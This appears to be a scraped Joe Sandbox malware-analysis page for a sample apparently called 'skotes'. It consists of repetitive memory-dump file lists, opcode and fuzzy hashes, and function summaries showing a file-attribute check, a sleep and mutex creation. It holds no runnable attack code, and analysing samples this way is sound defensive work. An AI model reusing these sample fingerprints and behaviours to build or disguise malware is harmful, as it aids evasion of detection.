Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2/
API String ID: 396266464-3528799830
Opcode ID: cea4cb06167ddf1114a1302b41f9cd8fc0f4f3f1cfa03b25b5656d1cca5d3a32
Instruction ID: 244e4f4ed132f8b4fca704da95fd36cd10ef896555d929df420c1e305ff8408c
Opcode Fuzzy Hash: cea4cb06167ddf1114a1302b41f9cd8fc0f4f3f1cfa03b25b5656d1cca5d3a32
Instruction Fuzzy Hash: FE314631A242008BEF08EB7CED8976DB766EBC6324F20821DE014973D5CB7599E48751

Function 00299CDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00299CDD
Sleep.KERNELBASE(00000064,?), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2/
API String ID: 396266464-3528799830
Opcode ID: 4574b65490204f4a79ebbf40c5369e5b3b2321a70f51b99a64530b98d0ac6356
Instruction ID: 7bdb86b92a0cecb8340037e9b051a9ca559dcb5358a4989a517974696201507d
Opcode Fuzzy Hash: 4574b65490204f4a79ebbf40c5369e5b3b2321a70f51b99a64530b98d0ac6356
Instruction Fuzzy Hash: 64313531A242408BFF08EB7CDCC87ADB666EB86324F24861CE405972D5CB3599E48B61

Function 00299F44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00299F47
Sleep.KERNELBASE(00000064,?), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2/
API String ID: 396266464-3528799830
Opcode ID: f67c4383519a5474467ff9103b77b1092d959dc47fc0c5c4b476f8232ded4fae
Instruction ID: 45e3cba6211646c0897938e7f3a355d7c7bd4694c9e43b3fd5a668d8bd03dab3
Opcode Fuzzy Hash: f67c4383519a5474467ff9103b77b1092d959dc47fc0c5c4b476f8232ded4fae
Instruction Fuzzy Hash: 27316831A242008BFF18EB7CDC887ADF766EBC6320F20861CE415D76D1CB3699A48752

Function 0029A079 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0029A07C
Sleep.KERNELBASE(00000064,?), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2/
API String ID: 396266464-3528799830
Opcode ID: f044578cce17629dde060bc33e86d37f081864f5f467788221ed2cef1a2d0544
Instruction ID: 441ffaf9cd2aef1ddea25c1109e00cc84d7294ff9a550c0180b2c554ba116802
Opcode Fuzzy Hash: f044578cce17629dde060bc33e86d37f081864f5f467788221ed2cef1a2d0544
Instruction Fuzzy Hash: BE314831A343409BFF08DB78DD89B6DB766EBC2314F20821CE419973D1CB7699A48692

Function 0029A1AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0029A1B1
Sleep.KERNELBASE(00000064,?), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
